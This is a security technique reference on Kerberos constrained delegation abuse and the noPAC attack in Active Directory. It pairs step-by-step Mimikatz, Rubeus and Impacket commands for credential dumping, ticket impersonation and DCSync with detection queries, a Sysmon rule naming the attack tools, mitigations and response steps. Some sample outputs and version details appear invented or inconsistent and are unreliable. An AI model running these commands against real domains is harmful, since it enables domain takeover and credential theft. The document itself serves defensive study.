| Attribute | Details |
|---|---|
| Technique ID | CA-KERB-006 |
| MITRE ATT&CK v18.1 | T1558 - Steal or Forge Kerberos Tickets |
| Tactic | Privilege Escalation, Lateral Movement, Credential Access |
| Platforms | Windows AD (Server 2016-2025), Hybrid AD/Entra ID |
| Severity | CRITICAL |
| CVE | CVE-2021-42287 (Kerberos PAC validation bypass), CVE-2021-42278 (sAMAccountName spoofing) |
| Technique Status | ACTIVE (partially mitigated Nov 2021; fully mitigated July 2022 with enforcement) |
| Last Verified | 2024-12-15 |
| Affected Versions | Server 2016-2025 (vulnerable pre-Nov 2021 patches; partial mitigation with KB5008380) |
| Patched In | November 9, 2021 (KB5008380) - PAC signature added; July 12, 2022 (KB5008380 updated) - PAC enforcement |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) omitted because constrained delegation abuse is environment-specific and attack chain-dependent, not covered in standard atomic test libraries. The technique involves multiple prerequisite steps (service account compromise, delegation configuration enumeration, ticket generation) that vary by scenario. All section numbers have been dynamically renumbered based on applicability.
Concept: Constrained Delegation Abuse exploits a feature of Kerberos designed to solve the “double-hop problem” in Active Directory. When a service account is configured with constrained delegation, it is explicitly allowed to impersonate users and request service tickets on their behalf to access only specific, authorized target services. However, if an attacker compromises the service account or its credentials, they can abuse this delegation capability to escalate privileges and impersonate Domain Administrators. The attack becomes even more dangerous when combined with CVE-2021-42287 (Kerberos PAC validation bypass) and CVE-2021-42278 (sAMAccountName spoofing), which collectively allow a standard domain user with Machine Account Quota permissions to impersonate a Domain Controller and gain full domain admin access. This is known as the “noPAC” attack.
Attack Surface: Constrained Delegation is extremely common in enterprise environments for legitimate use cases: web servers delegating to databases, application servers delegating to file shares, etc. Thousands of service accounts across most domains have delegation configured. The attack surface is the number of service accounts with delegation enabled multiplied by the security posture of their compromised credentials. Additionally, the noPAC vulnerability (CVE-2021-42278/87) affects ANY domain where Machine Account Quota is not restricted to zero (default is 10 machines per standard user).
Business Impact: An attacker who compromises a service account with constrained delegation configured can impersonate any domain user (except Protected Users, pre-patch) to access resources that the service account is allowed to delegate to. For example, a compromised web server account can be escalated to impersonate a Domain Administrator and access the database server with admin rights. The noPAC attack chain enables complete domain compromise from a standard user account in less than 60 seconds.
Technical Context: Constrained Delegation is configured via two methods: (1) Traditional - msDS-AllowedToDelegateTo attribute specifies which SPNs the service can delegate to; (2) Resource-Based - msDS-AllowedToActOnBehalfOfOtherIdentity on the target resource specifies which accounts can delegate to it. The abuse typically involves obtaining a TGT for the service account, then using S4U2Self/S4U2Proxy extensions to request service tickets as impersonated users. The noPAC attack subverts the normal flow by using sAMAccountName spoofing and KDC name resolution fallback to trick the KDC into issuing tickets for domain controller accounts.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.3.3 | “Ensure Kerberos delegation is configured to minimum necessary” |
| CIS Benchmark | 5.2.3.4 | “Ensure sensitive accounts are marked as ‘sensitive for delegation’” |
| DISA STIG | V-220975 | Kerberos delegation controls must be configured |
| NIST 800-53 | AC-3 | Access Enforcement - delegation must be restricted |
| NIST 800-53 | AC-6 | Least Privilege - delegation should be minimal |
| GDPR | Art. 32 | Security of Processing - delegation scope control |
| DORA | Art. 9 | Protection and Prevention - authentication integrity |
| NIS2 | Art. 21 | Cyber Risk Management - critical infrastructure |
| ISO 27001 | A.9.2.1 | Access control implementation and enforcement |
| ISO 27005 | Risk Scenario | Privilege escalation via delegation abuse |
Required Privileges:
Required Access:
Supported Versions:
| Version | Status | Notes |
|---|---|---|
| Server 2016 | VULNERABLE | No constraints on S4U2Self; noPAC possible (pre-Nov 2021) |
| Server 2019 | VULNERABLE | Same as 2016; noPAC possible (pre-Nov 2021) |
| Server 2022 | PARTIAL | Nov 2021 patch (KB5008380) adds PAC signature; July 2022 enforces it |
| Server 2025 | VULNERABLE (Pre-Nov 2021 Patches) | Same as earlier versions if patches not applied |
| Server 2025 | MITIGATED (Post-July 2022) | PAC validation enforced; noPAC mitigated |
Tools:
Other Requirements:
Command (PowerShell - Using PowerView):
# Import PowerView
. .\PowerView.ps1
# Find accounts with constrained delegation
Get-NetUser -TrustedToAuth | Select-Object samaccountname, msDS-AllowedToDelegateTo
# Alternative: Direct AD query
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like '*'} -Properties msDS-AllowedToDelegateTo |
Select-Object Name, msDS-AllowedToDelegateTo
What to Look For:
cifs/fileserver, ldap/dc01)Expected Output:
Name: svc_WebServer
msDS-AllowedToDelegateTo: {cifs/fileserver.contoso.com, ldap/dc01.contoso.com}
Command (PowerShell):
# Find accounts with RBCD configured
Get-ADObject -Filter {msDS-AllowedToActOnBehalfOfOtherIdentity -like '*'} `
-Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
Select-Object Name, msDS-AllowedToActOnBehalfOfOtherIdentity
# Or using Impacket on Linux:
# impacket-findDelegation 'domain.com/user:password' -dc-ip 192.168.1.10
What to Look For:
Command (PowerShell):
# Check domain's ms-DS-MachineAccountQuota
Get-ADObject -Identity (Get-ADRootDSE).rootDomainNamingContext -Properties ms-DS-MachineAccountQuota |
Select-Object ms-DS-MachineAccountQuota
# Output (vulnerable):
# ms-DS-MachineAccountQuota : 10 (each user can create 10 machines)
# Output (hardened):
# ms-DS-MachineAccountQuota : 0 (no machine creation allowed)
What This Means:
Supported Versions: Server 2016-2025 (pre-Nov 2021 patches)
Prerequisites: Attacker has compromised a service account configured for constrained delegation with protocol transition enabled
Objective: Extract NTLM hash or AES key for the service account.
Command (Mimikatz - From compromised system):
# Extract service account hash from LSASS
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Look for target service account output:
# svc_WebServer NTLM: 8846f7eaee8fb117ad06bdd830b7586c
# svc_WebServer AES256: 1234567890abcdef...
Expected Output:
Service account hash extracted
Ready for S4U exploitation
Objective: Confirm which services the compromised account can delegate to.
Command (PowerShell):
# Check what the compromised service account can delegate to
Get-ADUser -Identity svc_WebServer -Properties msDS-AllowedToDelegateTo |
Select-Object msDS-AllowedToDelegateTo
# Output:
# msDS-AllowedToDelegateTo : {cifs/fileserver.contoso.com, ldap/dc01.contoso.com}
What This Means:
Objective: Obtain a Ticket-Granting Ticket for the compromised service account.
Command (Rubeus):
# Request TGT using service account hash
.\Rubeus.exe asktgt /user:svc_WebServer /domain:contoso.com `
/hash:8846f7eaee8fb117ad06bdd830b7586c /nowrap
# Output:
# [+] TGT for svc_WebServer obtained
# [+] base64(ticket.kirbi) = doIE+jCCBP...
Expected Output:
TGT successfully obtained for service account
Ready for S4U2Self/S4U2Proxy
Objective: Use S4U2Self to obtain a service ticket on behalf of a domain admin user to the delegated target.
Command (Rubeus - Full S4U chain):
# Perform S4U2Self + S4U2Proxy to obtain impersonated service ticket
.\Rubeus.exe s4u /ticket:doIE+jCCBP... `
/impersonateuser:Administrator `
/msdsspn:cifs/fileserver.contoso.com `
/ptt
# Output:
# [*] Performing S4U2Self request
# [+] Service Ticket for Administrator obtained
# [+] S4U2Proxy request sent
# [+] Final service ticket obtained and injected into LSASS
# [+] User: Administrator
# [+] Service: cifs/fileserver.contoso.com
Expected Output:
Service Ticket for Administrator to fileserver obtained
Ticket injected into LSASS memory
Ready for lateral movement
What This Means:
Objective: Test access to delegated service using the impersonated ticket.
Command (Windows):
# List cached tickets
klist
# Access file share as Administrator (via Kerberos ticket)
net use \\fileserver.contoso.com\C$ /user:contoso.com\Administrator
# Verify access
dir \\fileserver.contoso.com\C$
# Or via PowerShell with UNC path
Get-ChildItem \\fileserver.contoso.com\C$
# Output:
# Successfully accessed fileserver as Administrator
Expected Output:
Access granted to fileserver administrative shares
Lateral movement achieved
References:
Supported Versions: Server 2016-2025 (pre-Nov 2021 patches; partial mitigation post-Nov; full fix post-July 2022)
Prerequisites: Standard domain user account; Machine Account Quota NOT set to zero (default is 10)
Objective: Add a new computer account to the domain that attacker controls.
Command (Impacket - addcomputer.py):
# Create a new machine account in the domain
python3 /usr/share/doc/python3-impacket/examples/addcomputer.py \
-computer-name 'ATTACKER$' \
-computer-pass 'Password123!' \
-dc-ip 192.168.1.10 \
contoso.com/jsmith:Password
# Output:
# [*] Requesting new computer account
# [+] Machine account ATTACKER$ created successfully
# [+] Password: Password123!
# [+] Distinguished Name: CN=ATTACKER,CN=Computers,DC=contoso,DC=com
Expected Output:
Machine account successfully created
Attacker now controls the account credentials
What This Means:
Objective: Change the sAMAccountName of attacker’s machine account to match a Domain Controller name (without trailing $).
Command (Impacket - renameMachine.py):
# Rename machine to spoof a domain controller
python3 /path/to/renameMachine.py \
-current-name 'ATTACKER$' \
-new-name 'DC01' \
-dc-ip 192.168.1.10 \
contoso.com/jsmith:Password
# Output:
# [*] Renaming machine account
# [+] sAMAccountName changed from ATTACKER$ to DC01
# [!] WARNING: sAMAccountName spoofing successful - now impersonating DC01
Expected Output:
sAMAccountName successfully changed to DC01 (without $)
Now impersonating Domain Controller account
What This Means:
Objective: Obtain a TGT for the spoofed DC account.
Command (Rubeus or Impacket):
# Using Rubeus to request TGT
.\Rubeus.exe asktgt /user:DC01 /domain:contoso.com `
/password:Password123! /nowrap
# Output:
# [+] TGT for DC01 obtained
# [+] base64(ticket.kirbi) = doIE+jCCBP...
Expected Output:
TGT successfully obtained for spoofed DC01 account
Ticket shows sAMAccountName = DC01 (no trailing $)
What This Means:
Objective: Use S4U2Self to request a service ticket as Administrator on behalf of the spoofed DC account.
Command (Rubeus):
# S4U2Self request with spoofed DC01 TGT
.\Rubeus.exe s4u /self `
/impersonateuser:Administrator `
/altservice:ldap/DC01.contoso.com `
/dc:DC01.contoso.com `
/ptt `
/ticket:[Base64 TGT from Step 3]
# Output:
# [*] S4U2Self request for Administrator on DC01
# [-] User 'DC01' not found in AD... KDC falling back to 'DC01$'
# [+] Found 'DC01$' (actual domain controller)
# [+] Service Ticket for Administrator to ldap/DC01$ obtained
# [+] Ticket injected into LSASS
Expected Output:
KDC confusion: DC01 user not found, falls back to DC01$ (real DC)
Service ticket for Administrator obtained
Impersonation as Administrator to real DC achieved
What This Means:
Objective: Use the Administrator ticket to the Domain Controller to perform DCSync attack.
Command (Mimikatz):
# Use the Administrator service ticket to authenticate to DC
# First, ensure the ticket is still in LSASS from Step 4 (/ptt flag)
# Now execute DCSync as Administrator
mimikatz.exe "privilege::debug" `
"lsadump::dcsync /domain:contoso.com /kdc:DC01.contoso.com /user:krbtgt" `
"exit"
# Output:
# [+] Performing DCSync as Administrator
# [+] krbtgt account found
# [+] NTLM Hash: 8846f7eaee8fb117ad06bdd830b7586c
# [+] All domain users extracted
Expected Output:
KRBTGT hash extracted via DCSync
All domain account hashes obtained
Domain compromise achieved
References:
Supported Versions: Server 2016-2025 (if target resource has RBCD configured)
Prerequisites: Attacker has GenericWrite/GenericAll on target resource, OR can use Machine Account Quota + RBCD configuration
Objective: Modify the target resource’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute to trust an attacker-controlled account.
Command (Impacket - rbcd.py or PowerShell):
# Using PowerShell to grant RBCD privileges
$targetComputer = Get-ADComputer -Identity "FileServer01"
$attackerComputer = Get-ADComputer -Identity "ATTACKER$"
# Grant RBCD permission (if user has write permission)
# This typically requires GenericAll or delegate permissions
Set-ADComputer -Identity $targetComputer `
-PrincipalsAllowedToDelegateToAccount $attackerComputer
# Or via Impacket:
# python3 rbcd.py -delegate-to 'FileServer01$' -delegate-from 'ATTACKER$' \
# -action 'write' 'contoso.com/admin:password'
Expected Output:
RBCD configured: FileServer01$ now trusts ATTACKER$
ATTACKER$ can impersonate any user to FileServer01
Objective: Use RBCD to obtain a service ticket as Administrator to the target resource.
Command (Impacket getST):
# Request service ticket using RBCD
python3 /usr/share/doc/python3-impacket/examples/getST.py \
-spn 'cifs/FileServer01.contoso.com' \
-impersonate 'Administrator' \
'contoso.com/ATTACKER$:Password123!' \
-dc-ip 192.168.1.10
# Output:
# [*] Requesting S4U2Self + S4U2Proxy via RBCD
# [+] Service Ticket for Administrator to cifs/FileServer01 obtained
# [+] administrator.ccache saved
Expected Output:
Service ticket for Administrator obtained via RBCD
Administrator impersonation achieved
Objective: Authenticate to target service using the impersonated ticket.
Command (Linux/Impacket):
# Export ccache and use for SMB access
export KRB5CCNAME=./administrator.ccache
# Access target as Administrator
python3 /usr/share/doc/python3-impacket/examples/psexec.py \
-k -no-pass FileServer01.contoso.com
# Output:
# C:\> whoami
# CONTOSO\Administrator
Tools Used:
findDelegation.py - Enumerate delegation configurationsgetST.py - Request service tickets (S4U2Self/S4U2Proxy)addcomputer.py - Create machine accountsrenameMachine.py - Rename machine accountspsexec.py - Execute commands via SMBCommands Used:
# Request TGT
Rubeus.exe asktgt /user:svc_account /domain:contoso.com /hash:HASH
# S4U2Self + S4U2Proxy
Rubeus.exe s4u /ticket:TICKET /impersonateuser:Administrator /msdsspn:cifs/target
# Spoof sAMAccountName
Rubeus.exe setspn /user:ATTACKER$ /spn:host/SPOOFED
Commands Used:
# Inject ticket
mimikatz "kerberos::ptc TICKET.ccache"
# DCSync
mimikatz "lsadump::dcsync /domain:contoso.com /user:krbtgt"
SPL Query:
index=wineventlog source=WinEventLog:Security EventCode=4769
| search Service_Account IN (svc_*, *$)
| stats count by Account_Name, Service_Name, Client_Address
| where count > 5 # Threshold for suspicious pattern
SPL Query:
index=wineventlog source=WinEventLog:Security EventCode=5136
| search Attribute="sAMAccountName" AND New_Value=DC*
| stats count by Account_Name, Old_Value, New_Value
KQL Query:
SecurityEvent
| where EventID == 4720 // Computer created
| extend CreatedBy=Account_Name
| where CreatedBy !in ("SYSTEM", "NETWORK SERVICE", "LOCAL SERVICE")
| project TimeGenerated, CreatedBy, Computer
| summarize ComputerCreateCount=count() by CreatedBy
| where ComputerCreateCount > 3 // Threshold
Event ID: 4769 (TGS-REQ)
Event ID: 5136 (Object Modified)
Event ID: 4720 (Computer Created)
<Sysmon schemaversion="4.82">
<!-- Monitor for Rubeus S4U exploitation -->
<RuleGroup name="Process Creation" groupRelation="or">
<ProcessCreate onmatch="include">
<CommandLine condition="contains">Rubeus.exe</CommandLine>
<CommandLine condition="contains">s4u</CommandLine>
<CommandLine condition="contains">/impersonate</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- Monitor for Impacket tools -->
<RuleGroup name="Process Creation" groupRelation="or">
<ProcessCreate onmatch="include">
<CommandLine condition="contains">getST.py</CommandLine>
<CommandLine condition="contains">addcomputer.py</CommandLine>
<CommandLine condition="contains">renameMachine.py</CommandLine>
</ProcessCreate>
</RuleGroup>
</Sysmon>
Alert Names:
Mitigation 1: Apply Authentication Updates (KB5008380 + Follow-up Patches)
Applies To Versions: All (Server 2016-2025)
Manual Steps:
Get-HotFix | Where-Object {$_.HotFixID -match "KB5008380|KB5008602|KB5008603"}
What It Does:
Mitigation 2: Set Machine Account Quota to Zero
Applies To Versions: All
Manual Steps (Group Policy):
gpmc.msc$domain = Get-ADDomain
Set-ADObject -Identity $domain.DistinguishedName `
-Replace @{"ms-DS-MachineAccountQuota"=0}
Impact:
Mitigation 3: Mark Sensitive Accounts as “Cannot Be Delegated”
Applies To Versions: All
Manual Steps:
# Mark domain admins as sensitive for delegation
Get-ADGroupMember -Identity "Domain Admins" -Recursive |
ForEach-Object {
Set-ADAccountControl -Identity $_ -CannotBeDelegated $true
}
# Add critical service accounts to Protected Users group
Add-ADGroupMember -Identity "Protected Users" -Members `
svc_CriticalService, svc_Database
Impact:
Mitigation 4: Minimize Constrained Delegation Configurations
Manual Steps:
# Identify and remove unnecessary delegation
$delegatedAccounts = Get-ADObject -Filter {msDS-AllowedToDelegateTo -like '*'}
foreach ($account in $delegatedAccounts) {
# Review and remove if not needed
# Set-ADUser -Identity $account -Clear msDS-AllowedToDelegateTo
}
Mitigation 5: Monitor and Alert on Delegation Changes
Manual Steps:
auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable
msDS-AllowedToDelegateTo changesmsDS-AllowedToActOnBehalfOfOtherIdentity changessAMAccountName changes to DC namesMitigation 6: Implement Conditional Access for Service Accounts
Events:
Processes:
Network:
Disk:
Memory:
1. Isolate (0-5 minutes):
# Disable compromised service account
Disable-ADAccount -Identity svc_Compromised
# Disable machine accounts created by attacker
Get-ADComputer -Filter {Created -gt (Get-Date).AddDays(-1)} | Disable-ADComputer
2. Collect Evidence (5-30 minutes):
# Export Kerberos events
Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4769 or EventID=5136)]]" `
-MaxEvents 1000 | Export-Csv Evidence.csv
3. Remediate (30 mins - 2 hours):
# Reset KRBTGT password twice
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString "$(New-Guid)" -AsPlainText -Force)
Start-Sleep -Seconds 86400
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString "$(New-Guid)" -AsPlainText -Force)
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-VALID-001] Default/Stale Credentials | Obtain initial domain user access |
| 2 | Discovery | [REC-AD-003] PowerView Enumeration | Enumerate delegation configurations |
| 3 | Privilege Escalation | [CA-KERB-006] Constrained Delegation (Current) | Abuse delegation to escalate to admin |
| 4 | Credential Access | [CA-DUMP-001] DCSync | Extract all domain hashes using admin ticket |
| 5 | Persistence | [PERSIST-GOLDEN-TICKET] Golden Ticket | Create long-lived tickets for persistence |
| 6 | Impact | [IMPACT-RANSOMWARE] Deploy Ransomware | Encrypt entire domain with admin access |
Target: Enterprise with web farm delegating to database servers
Attack Flow:
Impact: Database compromise, data exfiltration
Scenario: Standard domain user leverages noPAC vulnerability
Attack Timeline (< 60 seconds):
Impact: Complete domain compromise from standard user